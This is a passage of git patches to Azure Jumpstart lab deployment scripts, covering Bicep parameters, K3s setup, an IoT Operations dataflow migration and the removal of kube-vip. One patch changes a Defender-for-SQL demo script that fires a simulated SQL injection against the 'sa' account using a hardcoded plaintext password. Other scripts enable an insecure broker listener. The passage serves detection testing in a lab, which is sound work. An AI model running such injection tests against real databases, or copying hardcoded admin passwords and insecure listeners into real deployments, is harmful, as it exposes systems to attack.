-templateBaseUrl ${templateBaseUrl} -flavor ${flavor} -k3sArcDataClusterName ${k3sArcDataClusterName} -k3sArcClusterName ${k3sArcClusterName} -aksArcClusterName ${aksArcClusterName} -aksdrArcClusterName ${aksdrArcClusterName} -githubUser ${githubUser} -githubBranch ${githubBranch} -vmAutologon ${vmAutologon} -rdpPort ${rdpPort} -addsDomainName ${addsDomainName} -customLocationRPOID ${customLocationRPOID} -resourceTags ${resourceTags} -namingPrefix ${namingPrefix} -debugEnabled ${debugEnabled}' } } } diff --git a/azure_jumpstart_arcbox/bicep/main.bicep b/azure_jumpstart_arcbox/bicep/main.bicep index 82533539dd..4b1daceecd 100644 --- a/azure_jumpstart_arcbox/bicep/main.bicep +++ b/azure_jumpstart_arcbox/bicep/main.bicep @@ -146,6 +146,7 @@ module clientVmDeployment 'clientVm/clientVm.bicep' = { flavor: flavor subnetId: mgmtArtifactsAndPolicyDeployment.outputs.subnetId deployBastion: deployBastion + githubBranch: githubBranch githubUser: githubUser location: location k3sArcDataClusterName : k3sArcDataClusterName From 388c4b6a9a4c14073961b6ee719bce52ed56543d Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Thu, 8 Aug 2024 12:38:08 +0300 Subject: [PATCH 441/506] non-terminating azcopy --- azure_jumpstart_arcbox/artifacts/installK3s.sh | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/installK3s.sh b/azure_jumpstart_arcbox/artifacts/installK3s.sh index 78d8b87d73..22bf5b9e96 100644 --- a/azure_jumpstart_arcbox/artifacts/installK3s.sh +++ b/azure_jumpstart_arcbox/artifacts/installK3s.sh @@ -201,10 +201,7 @@ fi echo "" echo "Uploading the script logs to staging storage" echo "" -# Restore the original stdout and stderr -exec 1>&3 2>&4 # Further commands will now output to the original stdout and stderr and not the log file -sleep 60 log="/home/$adminUsername/jumpstart_logs/installK3s-$vmName.log" storageContainerNameLower=$(echo $storageContainerName | tr '[:upper:]' '[:lower:]') -azcopy cp $log "https://$stagingStorageAccountName.blob.core.windows.net/$storageContainerNameLower/installK3s-$vmName.log" \ No newline at end of file +azcopy cp $log "https://$stagingStorageAccountName.blob.core.windows.net/$storageContainerNameLower/installK3s-$vmName.log" --check-length=false >/dev/null 2>&1 \ No newline at end of file From 6100d31e6454964952f16670780b147069f08df5 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Thu, 8 Aug 2024 10:09:18 +0000 Subject: [PATCH 442/506] Updated password for SQL injection testing Signed-off-by: Jan Egil Ring --- azure_jumpstart_arcbox/artifacts/testDefenderForSQL.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/artifacts/testDefenderForSQL.ps1 b/azure_jumpstart_arcbox/artifacts/testDefenderForSQL.ps1 index e3e50fe505..b8301c1192 100644 --- a/azure_jumpstart_arcbox/artifacts/testDefenderForSQL.ps1 +++ b/azure_jumpstart_arcbox/artifacts/testDefenderForSQL.ps1 @@ -17,7 +17,7 @@ Import-Module $moduleFile Get-Command -Module SqlAdvancedThreatProtectionShell Write-Host "Executing SQL injection" -$saPasswordEncrypted = ConvertTo-SecureString -String "ArcDemo123!!" -AsPlainText -Force +$saPasswordEncrypted = ConvertTo-SecureString -String "JS123!!" -AsPlainText -Force Test-SqlAtpInjection -UserName sa -Password $saPasswordEncrypted # High risk Start-Sleep(30) # Wait between tests From c6ea85ba9ba8263e49178e254937ac66aa054b36 Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Thu, 8 Aug 2024 13:43:12 +0300 Subject: [PATCH 443/506] chore: Update AKS Edge Essentials schema version to 1.13 --- .../artifacts/PowerShell/LogonScript.ps1 | 8 ++- .../artifacts/Settings/mq_cloudConnector.yml | 62 ++++++++++--------- .../PowerShell/Modules/manufacturing.psm1 | 12 ++-- .../artifacts/settings/mq_cloudConnector.yml | 62 ++++++++++--------- 4 files changed, 80 insertions(+), 64 deletions(-) diff --git a/azure_edge_iot_ops_jumpstart/aio_manufacturing/bicep/artifacts/PowerShell/LogonScript.ps1 b/azure_edge_iot_ops_jumpstart/aio_manufacturing/bicep/artifacts/PowerShell/LogonScript.ps1 index b6070a6ce8..43a45fdc87 100644 --- a/azure_edge_iot_ops_jumpstart/aio_manufacturing/bicep/artifacts/PowerShell/LogonScript.ps1 +++ b/azure_edge_iot_ops_jumpstart/aio_manufacturing/bicep/artifacts/PowerShell/LogonScript.ps1 @@ -402,7 +402,7 @@ $maxRetries = 5 $aioStatus = "notDeployed" do { - az iot ops init --cluster $arcClusterName -g $resourceGroup --kv-id $keyVaultId --sp-app-id $spnClientID --sp-secret $spnClientSecret --mq-service-type loadBalancer --mq-insecure true --simulate-plc true --only-show-errors + az iot ops init --cluster $arcClusterName -g $resourceGroup --kv-id $keyVaultId --sp-app-id $spnClientID --sp-secret $spnClientSecret --broker-service-type loadBalancer --add-insecure-listener true --simulate-plc true --only-show-errors if ($? -eq $false) { $aioStatus = "notDeployed" Write-Host "`n" @@ -414,6 +414,7 @@ do { } } until ($aioStatus -eq "deployed" -or $retryCount -eq $maxRetries) +<# $retryCount = 0 $maxRetries = 5 @@ -422,7 +423,7 @@ do { $output = $output | ConvertFrom-Json $mqServiceStatus = ($output.postDeployment | Where-Object { $_.name -eq "evalBrokerListeners" }).status if ($mqServiceStatus -ne "Success") { - az iot ops init --cluster $arcClusterName -g $resourceGroup --kv-id $keyVaultId --sp-app-id $spnClientID --sp-object-id $spnObjectId --sp-secret $spnClientSecret --mq-service-type loadBalancer --mq-insecure true --simulate-plc true --only-show-errors + az iot ops init --cluster $arcClusterName -g $resourceGroup --kv-id $keyVaultId --sp-app-id $spnClientID --sp-object-id $spnObjectId --sp-secret $spnClientSecret --broker-service-type loadBalancer --add-insecure-listener true --simulate-plc true --only-show-errors $retryCount++ } } until ($mqServiceStatus -eq "Success" -or $retryCount -eq $maxRetries) @@ -431,9 +432,10 @@ if ($retryCount -eq $maxRetries) { Write-Host "[$(Get-Date -Format t)] ERROR: AIO deployment failed. Exiting..." -ForegroundColor White -BackgroundColor Red exit 1 # Exit the script } +#> Write-Host "[$(Get-Date -Format t)] INFO: Started Event Grid role assignment process" -ForegroundColor DarkGray -$extensionPrincipalId = (az k8s-extension show --cluster-name $arcClusterName --name "mq" --resource-group $resourceGroup --cluster-type "connectedClusters" --output json | ConvertFrom-Json).identity.principalId +$extensionPrincipalId = (az k8s-extension list --cluster-name $arcClusterName --resource-group $resourceGroup --cluster-type "connectedClusters" --query "[?extensionType=='microsoft.iotoperations']" --output json | ConvertFrom-Json).identity.principalId $eventGridTopicId = (az eventgrid topic list --resource-group $resourceGroup --query "[0].id" -o tsv --only-show-errors) $eventGridNamespaceName = (az eventgrid namespace list --resource-group $resourceGroup --query "[0].name" -o tsv --only-show-errors) $eventGridNamespaceId = (az eventgrid namespace list --resource-group $resourceGroup --query "[0].id" -o tsv --only-show-errors) diff --git a/azure_edge_iot_ops_jumpstart/aio_manufacturing/bicep/artifacts/Settings/mq_cloudConnector.yml b/azure_edge_iot_ops_jumpstart/aio_manufacturing/bicep/artifacts/Settings/mq_cloudConnector.yml index 6c111f134d..1b66e752b9 100644 --- a/azure_edge_iot_ops_jumpstart/aio_manufacturing/bicep/artifacts/Settings/mq_cloudConnector.yml +++ b/azure_edge_iot_ops_jumpstart/aio_manufacturing/bicep/artifacts/Settings/mq_cloudConnector.yml @@ -1,34 +1,40 @@ -apiVersion: mq.iotoperations.azure.com/v1beta1 -kind: MqttBridgeTopicMap +apiVersion: connectivity.iotoperations.azure.com/v1beta1 +kind: DataflowEndpoint +metadata: + name: eventgrid +spec: + endpointType: mqtt + authentication: + method: systemAssignedManagedIdentity + systemAssignedManagedIdentitySettings: + audience: https://eventgrid.azure.net + mqttSettings: + host: eventGridPlaceholder:8883 + tls: + mode: Enabled +--- +apiVersion: connectivity.iotoperations.azure.com/v1beta1 +kind: Dataflow metadata: name: my-topic-map - namespace: azure-iot-operations spec: - mqttBridgeConnectorRef: my-mqtt-bridge - routes: - - direction: local-to-remote - name: route-to-eventgrid - qos: 1 - source: "topic/#" + profileRef: my-dataflow-profile + operations: + - operationType: source + name: source1 + sourceSettings: + endpointRef: mq + dataSources: + - "topic/#" + - operationType: destination + name: destination1 + destinationSettings: + endpointRef: eventgrid + dataDestination: factory-gateway- --- -apiVersion: mq.iotoperations.azure.com/v1beta1 -kind: MqttBridgeConnector +apiVersion: connectivity.iotoperations.azure.com/v1beta1 +kind: DataflowProfile metadata: - name: my-mqtt-bridge - namespace: azure-iot-operations + name: my-dataflow-profile spec: - image: - repository: mcr.microsoft.com/azureiotoperations/mqttbridge - tag: 0.1.0-preview - pullPolicy: IfNotPresent - protocol: v5 - bridgeInstances: 1 - clientIdPrefix: factory-gateway- - logLevel: debug - remoteBrokerConnection: - endpoint: eventGridPlaceholder:8883 - tls: - tlsEnabled: true - authentication: - systemAssignedManagedIdentity: - audience: https://eventgrid.azure.net + instanceCount: 1 \ No newline at end of file diff --git a/azure_jumpstart_ag/artifacts/PowerShell/Modules/manufacturing.psm1 b/azure_jumpstart_ag/artifacts/PowerShell/Modules/manufacturing.psm1 index 01f79802a9..0733e2c3cb 100644 --- a/azure_jumpstart_ag/artifacts/PowerShell/Modules/manufacturing.psm1 +++ b/azure_jumpstart_ag/artifacts/PowerShell/Modules/manufacturing.psm1 @@ -243,13 +243,13 @@ function Deploy-AIO { --only-show-errors do { - az iot ops init --cluster $arcClusterName -g $resourceGroup --kv-id $keyVaultId --sp-app-id $spnClientId --sp-secret $spnClientSecret --sp-object-id $spnObjectId --mq-service-type loadBalancer --mq-insecure true --simulate-plc false --no-block --only-show-errors + az iot ops init --cluster $arcClusterName -g $resourceGroup --kv-id $keyVaultId --sp-app-id $spnClientId --sp-secret $spnClientSecret --sp-object-id $spnObjectId --broker-service-type loadBalancer --add-insecure-listener true --simulate-plc false --no-block --only-show-errors if ($? -eq $false) { $aioStatus = "notDeployed" Write-Host "`n" Write-Host "[$(Get-Date -Format t)] Error: An error occured while deploying AIO on the cluster...Retrying" -ForegroundColor DarkRed Write-Host "`n" - az iot ops init --cluster $arcClusterName -g $resourceGroup --kv-id $keyVaultId --sp-app-id $spnClientId --sp-secret $spnClientSecret --sp-object-id $spnObjectId --mq-service-type loadBalancer --mq-insecure true --simulate-plc false --no-block --only-show-errors + az iot ops init --cluster $arcClusterName -g $resourceGroup --kv-id $keyVaultId --sp-app-id $spnClientId --sp-secret $spnClientSecret --sp-object-id $spnObjectId --broker-service-type loadBalancer --add-insecure-listener true --simulate-plc false --no-block --only-show-errors $retryCount++ } else { @@ -263,6 +263,7 @@ function Deploy-AIO { $retryCount = 0 $maxRetries = 25 kubectx $clusterName + <# do { $output = az iot ops check --as-object --only-show-errors $output = $output | ConvertFrom-Json @@ -278,10 +279,11 @@ function Deploy-AIO { Write-Host "[$(Get-Date -Format t)] ERROR: AIO deployment failed. Exiting..." -ForegroundColor White -BackgroundColor Red exit 1 # Exit the script } - Write-Host "AIO deployed successfully on the $clusterName cluster" -ForegroundColor Green - Write-Host "`n" + #> + #Write-Host "AIO deployed successfully on the $clusterName cluster" -ForegroundColor Green + #Write-Host "`n" Write-Host "[$(Get-Date -Format t)] INFO: Started Event Grid role assignment process" -ForegroundColor DarkGray - $extensionPrincipalId =(az k8s-extension list --cluster-name $arcClusterName --resource-group $resourceGroup --cluster-type "connectedClusters" --query "[?extensionType=='microsoft.iotoperations.mq']" --output json | ConvertFrom-Json)[0].identity.principalId + $extensionPrincipalId = (az k8s-extension list --cluster-name $arcClusterName --resource-group $resourceGroup --cluster-type "connectedClusters" --query "[?extensionType=='microsoft.iotoperations']" --output json | ConvertFrom-Json).identity.principalId $eventGridTopicId = (az eventgrid topic list --resource-group $resourceGroup --query "[0].id" -o tsv --only-show-errors) $eventGridNamespaceName = (az eventgrid namespace list --resource-group $resourceGroup --query "[0].name" -o tsv --only-show-errors) $eventGridNamespaceId = (az eventgrid namespace list --resource-group $resourceGroup --query "[0].id" -o tsv --only-show-errors) diff --git a/azure_jumpstart_ag/artifacts/settings/mq_cloudConnector.yml b/azure_jumpstart_ag/artifacts/settings/mq_cloudConnector.yml index 6ffbf23210..1b66e752b9 100644 --- a/azure_jumpstart_ag/artifacts/settings/mq_cloudConnector.yml +++ b/azure_jumpstart_ag/artifacts/settings/mq_cloudConnector.yml @@ -1,34 +1,40 @@ -apiVersion: mq.iotoperations.azure.com/v1beta1 -kind: MqttBridgeTopicMap +apiVersion: connectivity.iotoperations.azure.com/v1beta1 +kind: DataflowEndpoint +metadata: + name: eventgrid +spec: + endpointType: mqtt + authentication: + method: systemAssignedManagedIdentity + systemAssignedManagedIdentitySettings: + audience: https://eventgrid.azure.net + mqttSettings: + host: eventGridPlaceholder:8883 + tls: + mode: Enabled +--- +apiVersion: connectivity.iotoperations.azure.com/v1beta1 +kind: Dataflow metadata: name: my-topic-map - namespace: azure-iot-operations spec: - mqttBridgeConnectorRef: my-mqtt-bridge - routes: - - direction: local-to-remote - name: route-to-eventgrid - qos: 1 - source: "topic/#" + profileRef: my-dataflow-profile + operations: + - operationType: source + name: source1 + sourceSettings: + endpointRef: mq + dataSources: + - "topic/#" + - operationType: destination + name: destination1 + destinationSettings: + endpointRef: eventgrid + dataDestination: factory-gateway- --- -apiVersion: mq.iotoperations.azure.com/v1beta1 -kind: MqttBridgeConnector +apiVersion: connectivity.iotoperations.azure.com/v1beta1 +kind: DataflowProfile metadata: - name: my-mqtt-bridge - namespace: azure-iot-operations + name: my-dataflow-profile spec: - image: - repository: mcr.microsoft.com/azureiotoperations/mqttbridge - tag: 0.1.0-preview - pullPolicy: IfNotPresent - protocol: v5 - bridgeInstances: 1 - clientIdPrefix: clusterName - logLevel: debug - remoteBrokerConnection: - endpoint: eventGridPlaceholder:8883 - tls: - tlsEnabled: true - authentication: - systemAssignedManagedIdentity: - audience: https://eventgrid.azure.net + instanceCount: 1 \ No newline at end of file From 06b20eeb36640e85ca562a68e682c8e4c14fffa2 Mon Sep 17 00:00:00 2001 From: Zaid Mohammad Date: Thu, 8 Aug 2024 11:11:05 -0400 Subject: [PATCH 444/506] comment istio install --- azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 index 7f15d1fc5a..b6b8ea77bd 100644 --- a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 @@ -101,8 +101,8 @@ foreach ($cluster in $clusters) { $nicName = $cluster.clusterName + "-NIC" $k3sVIP = az network nic ip-config list --resource-group $Env:resourceGroup --nic-name $nicName --query "[?primary == ``true``].privateIPAddress" -otsv - Write-Header "Installing istio on K3s cluster" - istioctl install --skip-confirmation + # Write-Header "Installing istio on K3s cluster" + # istioctl install --skip-confirmation # Apply kube-vip RBAC manifests https://kube-vip.io/manifests/rbac.yaml $kubeVipRBAC = @" From 9aeaf82b130b80f2c064bb18986cf55fa210642d Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Thu, 8 Aug 2024 18:52:32 +0300 Subject: [PATCH 445/506] fix logging --- azure_jumpstart_arcbox/artifacts/installK3s.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/artifacts/installK3s.sh b/azure_jumpstart_arcbox/artifacts/installK3s.sh index 22bf5b9e96..8dd8db1852 100644 --- a/azure_jumpstart_arcbox/artifacts/installK3s.sh +++ b/azure_jumpstart_arcbox/artifacts/installK3s.sh @@ -201,7 +201,7 @@ fi echo "" echo "Uploading the script logs to staging storage" echo "" - +exec 1>&3 2>&4 # Further commands will now output to the original stdout and stderr and not the log file log="/home/$adminUsername/jumpstart_logs/installK3s-$vmName.log" storageContainerNameLower=$(echo $storageContainerName | tr '[:upper:]' '[:lower:]') azcopy cp $log "https://$stagingStorageAccountName.blob.core.windows.net/$storageContainerNameLower/installK3s-$vmName.log" --check-length=false >/dev/null 2>&1 \ No newline at end of file From 4ce6f8e71af217f9eae744ac72f3342b039e63bb Mon Sep 17 00:00:00 2001 From: Zaid Mohammad Date: Thu, 8 Aug 2024 23:12:23 -0400 Subject: [PATCH 446/506] remove kubevip and osm reference --- .../artifacts/DevOpsLogonScript.ps1 | 317 +++++++++--------- .../artifacts/devops_ingress/bookbuyer.yaml | 30 +- .../artifacts/devops_ingress/bookstore.yaml | 38 +-- 3 files changed, 193 insertions(+), 192 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 index b6b8ea77bd..b28489ddef 100644 --- a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 @@ -98,164 +98,164 @@ foreach ($cluster in $clusters) { $Env:KUBECONFIG=$cluster.kubeConfig kubectx - $nicName = $cluster.clusterName + "-NIC" - $k3sVIP = az network nic ip-config list --resource-group $Env:resourceGroup --nic-name $nicName --query "[?primary == ``true``].privateIPAddress" -otsv + # $nicName = $cluster.clusterName + "-NIC" + # $k3sVIP = az network nic ip-config list --resource-group $Env:resourceGroup --nic-name $nicName --query "[?primary == ``true``].privateIPAddress" -otsv - # Write-Header "Installing istio on K3s cluster" - # istioctl install --skip-confirmation - -# Apply kube-vip RBAC manifests https://kube-vip.io/manifests/rbac.yaml -$kubeVipRBAC = @" -apiVersion: v1 -kind: ServiceAccount -metadata: - name: kube-vip - namespace: kube-system ---- -apiVersion: rbac.authorization.k8s.io/v1 -kind: ClusterRole -metadata: - annotations: - rbac.authorization.kubernetes.io/autoupdate: "true" - name: system:kube-vip-role -rules: - - apiGroups: [""] - resources: ["services/status"] - verbs: ["update"] - - apiGroups: [""] - resources: ["services", "endpoints"] - verbs: ["list","get","watch", "update"] - - apiGroups: [""] - resources: ["nodes"] - verbs: ["list","get","watch", "update", "patch"] - - apiGroups: ["coordination.k8s.io"] - resources: ["leases"] - verbs: ["list", "get", "watch", "update", "create"] - - apiGroups: ["discovery.k8s.io"] - resources: ["endpointslices"] - verbs: ["list","get","watch", "update"] ---- -kind: ClusterRoleBinding -apiVersion: rbac.authorization.k8s.io/v1 -metadata: - name: system:kube-vip-binding -roleRef: - apiGroup: rbac.authorization.k8s.io - kind: ClusterRole - name: system:kube-vip-role -subjects: -- kind: ServiceAccount - name: kube-vip - namespace: kube-system -"@ - -$kubeVipRBAC | kubectl apply -f - - -# Apply kube-vip DaemonSet -$kubeVipDaemonset = @" -apiVersion: apps/v1 -kind: DaemonSet -metadata: - creationTimestamp: null - labels: - app.kubernetes.io/name: kube-vip-ds - app.kubernetes.io/version: v0.7.0 - name: kube-vip-ds - namespace: kube-system -spec: - selector: - matchLabels: - app.kubernetes.io/name: kube-vip-ds - template: - metadata: - creationTimestamp: null - labels: - app.kubernetes.io/name: kube-vip-ds - app.kubernetes.io/version: v0.7.0 - spec: - affinity: - nodeAffinity: - requiredDuringSchedulingIgnoredDuringExecution: - nodeSelectorTerms: - - matchExpressions: - - key: node-role.kubernetes.io/master - operator: Exists - - matchExpressions: - - key: node-role.kubernetes.io/control-plane - operator: Exists - containers: - - args: - - manager - env: - - name: vip_arp - value: "true" - - name: port - value: "6443" - - name: vip_interface - value: eth0 - - name: vip_cidr - value: "32" - - name: dns_mode - value: first - - name: cp_enable - value: "true" - - name: cp_namespace - value: kube-system - - name: svc_enable - value: "true" - - name: svc_leasename - value: plndr-svcs-lock - - name: vip_leaderelection - value: "true" - - name: vip_leasename - value: plndr-cp-lock - - name: vip_leaseduration - value: "5" - - name: vip_renewdeadline - value: "3" - - name: vip_retryperiod - value: "1" - - name: address - value: "$k3sVIP" - - name: prometheus_server - value: :2112 - image: ghcr.io/kube-vip/kube-vip:v0.7.0 - imagePullPolicy: Always - name: kube-vip - resources: {} - securityContext: - capabilities: - add: - - NET_ADMIN - - NET_RAW - hostNetwork: true - serviceAccountName: kube-vip - tolerations: - - effect: NoSchedule - operator: Exists - - effect: NoExecute - operator: Exists - updateStrategy: {} -status: - currentNumberScheduled: 0 - desiredNumberScheduled: 0 - numberMisscheduled: 0 - numberReady: 0 -"@ - -$kubeVipDaemonset | kubectl apply -f - - - # Kube vip cloud controller - kubectl apply -f https://raw.githubusercontent.com/kube-vip/kube-vip-cloud-provider/main/manifest/kube-vip-cloud-controller.yaml - - # Set kube-vip range-global for kubernetes services - $serviceIpRange = az network nic ip-config list --resource-group $Env:resourceGroup --nic-name $nicName --query "[?primary == ``false``].privateIPAddress" -otsv - $sortedIps = $serviceIpRange | Sort-Object {[System.Version]$_} - $lowestServiceIp = $sortedIps[0] - $highestServiceIp = $sortedIps[-1] - - kubectl create configmap -n kube-system kubevip --from-literal range-global=$lowestServiceIp-$highestServiceIp - Start-Sleep -Seconds 30 + Write-Header "Installing istio on K3s cluster" + istioctl install --skip-confirmation + +# # Apply kube-vip RBAC manifests https://kube-vip.io/manifests/rbac.yaml +# $kubeVipRBAC = @" +# apiVersion: v1 +# kind: ServiceAccount +# metadata: +# name: kube-vip +# namespace: kube-system +# --- +# apiVersion: rbac.authorization.k8s.io/v1 +# kind: ClusterRole +# metadata: +# annotations: +# rbac.authorization.kubernetes.io/autoupdate: "true" +# name: system:kube-vip-role +# rules: +# - apiGroups: [""] +# resources: ["services/status"] +# verbs: ["update"] +# - apiGroups: [""] +# resources: ["services", "endpoints"] +# verbs: ["list","get","watch", "update"] +# - apiGroups: [""] +# resources: ["nodes"] +# verbs: ["list","get","watch", "update", "patch"] +# - apiGroups: ["coordination.k8s.io"] +# resources: ["leases"] +# verbs: ["list", "get", "watch", "update", "create"] +# - apiGroups: ["discovery.k8s.io"] +# resources: ["endpointslices"] +# verbs: ["list","get","watch", "update"] +# --- +# kind: ClusterRoleBinding +# apiVersion: rbac.authorization.k8s.io/v1 +# metadata: +# name: system:kube-vip-binding +# roleRef: +# apiGroup: rbac.authorization.k8s.io +# kind: ClusterRole +# name: system:kube-vip-role +# subjects: +# - kind: ServiceAccount +# name: kube-vip +# namespace: kube-system +# "@ + +# $kubeVipRBAC | kubectl apply -f - + +# # Apply kube-vip DaemonSet +# $kubeVipDaemonset = @" +# apiVersion: apps/v1 +# kind: DaemonSet +# metadata: +# creationTimestamp: null +# labels: +# app.kubernetes.io/name: kube-vip-ds +# app.kubernetes.io/version: v0.7.0 +# name: kube-vip-ds +# namespace: kube-system +# spec: +# selector: +# matchLabels: +# app.kubernetes.io/name: kube-vip-ds +# template: +# metadata: +# creationTimestamp: null +# labels: +# app.kubernetes.io/name: kube-vip-ds +# app.kubernetes.io/version: v0.7.0 +# spec: +# affinity: +# nodeAffinity: +# requiredDuringSchedulingIgnoredDuringExecution: +# nodeSelectorTerms: +# - matchExpressions: +# - key: node-role.kubernetes.io/master +# operator: Exists +# - matchExpressions: +# - key: node-role.kubernetes.io/control-plane +# operator: Exists +# containers: +# - args: +# - manager +# env: +# - name: vip_arp +# value: "true" +# - name: port +# value: "6443" +# - name: vip_interface +# value: eth0 +# - name: vip_cidr +# value: "32" +# - name: dns_mode +# value: first +# - name: cp_enable +# value: "true" +# - name: cp_namespace +# value: kube-system +# - name: svc_enable +# value: "true" +# - name: svc_leasename +# value: plndr-svcs-lock +# - name: vip_leaderelection +# value: "true" +# - name: vip_leasename +# value: plndr-cp-lock +# - name: vip_leaseduration +# value: "5" +# - name: vip_renewdeadline +# value: "3" +# - name: vip_retryperiod +# value: "1" +# - name: address +# value: "$k3sVIP" +# - name: prometheus_server +# value: :2112 +# image: ghcr.io/kube-vip/kube-vip:v0.7.0 +# imagePullPolicy: Always +# name: kube-vip +# resources: {} +# securityContext: +# capabilities: +# add: +# - NET_ADMIN +# - NET_RAW +# hostNetwork: true +# serviceAccountName: kube-vip +# tolerations: +# - effect: NoSchedule +# operator: Exists +# - effect: NoExecute +# operator: Exists +# updateStrategy: {} +# status: +# currentNumberScheduled: 0 +# desiredNumberScheduled: 0 +# numberMisscheduled: 0 +# numberReady: 0 +# "@ + +# $kubeVipDaemonset | kubectl apply -f - + +# # Kube vip cloud controller +# kubectl apply -f https://raw.githubusercontent.com/kube-vip/kube-vip-cloud-provider/main/manifest/kube-vip-cloud-controller.yaml + +# # Set kube-vip range-global for kubernetes services +# $serviceIpRange = az network nic ip-config list --resource-group $Env:resourceGroup --nic-name $nicName --query "[?primary == ``false``].privateIPAddress" -otsv +# $sortedIps = $serviceIpRange | Sort-Object {[System.Version]$_} +# $lowestServiceIp = $sortedIps[0] +# $highestServiceIp = $sortedIps[-1] + +# kubectl create configmap -n kube-system kubevip --from-literal range-global=$lowestServiceIp-$highestServiceIp +# Start-Sleep -Seconds 30 Write-Header "Creating longhorn storage on $($cluster.clusterName)" kubectl apply -f "$Env:ArcBoxDir\longhorn.yaml" --kubeconfig $cluster.kubeConfig @@ -263,6 +263,7 @@ $kubeVipDaemonset | kubectl apply -f - Write-Host "`n" } +# Switch Kubernetes context to ArcBox-DataSvc-K3s cluster foreach ($cluster in $clusters) { if ($cluster.context -like '*-datasvc-k3s') { $Env:KUBECONFIG=$cluster.kubeConfig @@ -343,7 +344,7 @@ $configs = $(az k8s-configuration flux list --cluster-name $Env:k3sArcDataCluste foreach ($configName in $configs) { Write-Host "Checking GitOps configuration $configName on $Env:k3sArcDataClusterName" $retryCount = 0 - $maxRetries = 5 + $maxRetries = 10 do { $configStatus = $(az k8s-configuration flux show --name $configName --cluster-name $Env:k3sArcDataClusterName --cluster-type connectedClusters --resource-group $Env:resourceGroup -o json 2>$null) | convertFrom-JSON if ($configStatus.ComplianceState -eq "Compliant") { diff --git a/azure_jumpstart_arcbox/artifacts/devops_ingress/bookbuyer.yaml b/azure_jumpstart_arcbox/artifacts/devops_ingress/bookbuyer.yaml index feb77ea40a..2147a3bfd8 100644 --- a/azure_jumpstart_arcbox/artifacts/devops_ingress/bookbuyer.yaml +++ b/azure_jumpstart_arcbox/artifacts/devops_ingress/bookbuyer.yaml @@ -17,18 +17,18 @@ spec: port: number: 14001 path: /bookbuyer ---- -kind: IngressBackend -apiVersion: policy.openservicemesh.io/v1alpha1 -metadata: - name: backend -spec: - backends: - - name: bookbuyer - port: - number: 14001 - protocol: http - sources: - - kind: Service - namespace: ingress-nginx - name: ingress-nginx-controller +# --- +# kind: IngressBackend +# apiVersion: policy.openservicemesh.io/v1alpha1 +# metadata: +# name: backend +# spec: +# backends: +# - name: bookbuyer +# port: +# number: 14001 +# protocol: http +# sources: +# - kind: Service +# namespace: ingress-nginx +# name: ingress-nginx-controller diff --git a/azure_jumpstart_arcbox/artifacts/devops_ingress/bookstore.yaml b/azure_jumpstart_arcbox/artifacts/devops_ingress/bookstore.yaml index 7cf3770a2e..a759ad6eb1 100644 --- a/azure_jumpstart_arcbox/artifacts/devops_ingress/bookstore.yaml +++ b/azure_jumpstart_arcbox/artifacts/devops_ingress/bookstore.yaml @@ -24,22 +24,22 @@ spec: port: number: 14001 path: /bookstore-v2 ---- -kind: IngressBackend # Ingress Backend for Bookstore App -apiVersion: policy.openservicemesh.io/v1alpha1 -metadata: - name: backend -spec: - backends: - - name: bookstore - port: - number: 14001 - protocol: http - - name: bookstore-v2 - port: - number: 14001 - protocol: http - sources: - - kind: Service - namespace: ingress-nginx - name: ingress-nginx-controller +# --- +# kind: IngressBackend # Ingress Backend for Bookstore App +# apiVersion: policy.openservicemesh.io/v1alpha1 +# metadata: +# name: backend +# spec: +# backends: +# - name: bookstore +# port: +# number: 14001 +# protocol: http +# - name: bookstore-v2 +# port: +# number: 14001 +# protocol: http +# sources: +# - kind: Service +# namespace: ingress-nginx +# name: ingress-nginx-controller From 8306f798010c808dab033784c5f7dabd95088d5c Mon Sep 17 00:00:00 2001 From: Zaid Mohammad Date: Thu, 8 Aug 2024 23:43:09 -0400 Subject: [PATCH 447/506] remove multiple pip for devops --- azure_jumpstart_arcbox/bicep/main.bicepparam | 30 ++++++++++++++------ 1 file changed, 22 insertions(+), 8 deletions(-) diff --git a/azure_jumpstart_arcbox/bicep/main.bicepparam b/azure_jumpstart_arcbox/bicep/main.bicepparam index 9db53aff1a..64e8eb52af 100644 --- a/azure_jumpstart_arcbox/bicep/main.bicepparam +++ b/azure_jumpstart_arcbox/bicep/main.bicepparam @@ -1,19 +1,33 @@ using 'main.bicep' -param sshRSAPublicKey = '' +param flavor = 'DevOps' -param tenantId = '' +param sshRSAPublicKey = 'ssh-rsa 